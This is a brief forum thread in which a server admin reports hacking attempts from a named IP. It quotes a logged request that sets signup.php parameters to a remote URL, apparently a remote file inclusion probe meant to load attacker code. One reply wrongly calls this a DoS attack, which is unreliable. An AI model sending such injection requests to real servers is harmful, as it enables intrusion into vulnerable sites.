massive hacking attemps
 

i have massive hacking attemps to 2 of my servers
with this fucking IP => http://217.59.104.226

what the hell is that?????

Sounds to me like a dos attack! We have had a few of those in recent months! you need to get a good network guy!

he is trying to figure out something ?!

he is trying all files with .php extension

example

signup.php?pass=http://217.59.104.226&user=http://217.59.104.226

hmm doesn`t make sense to me

it does to me.
He's trying to input some code into your PHP scripts in the hope it isn't secure. The command will tell him what kernel you are running and then he'll probably try using known exploits....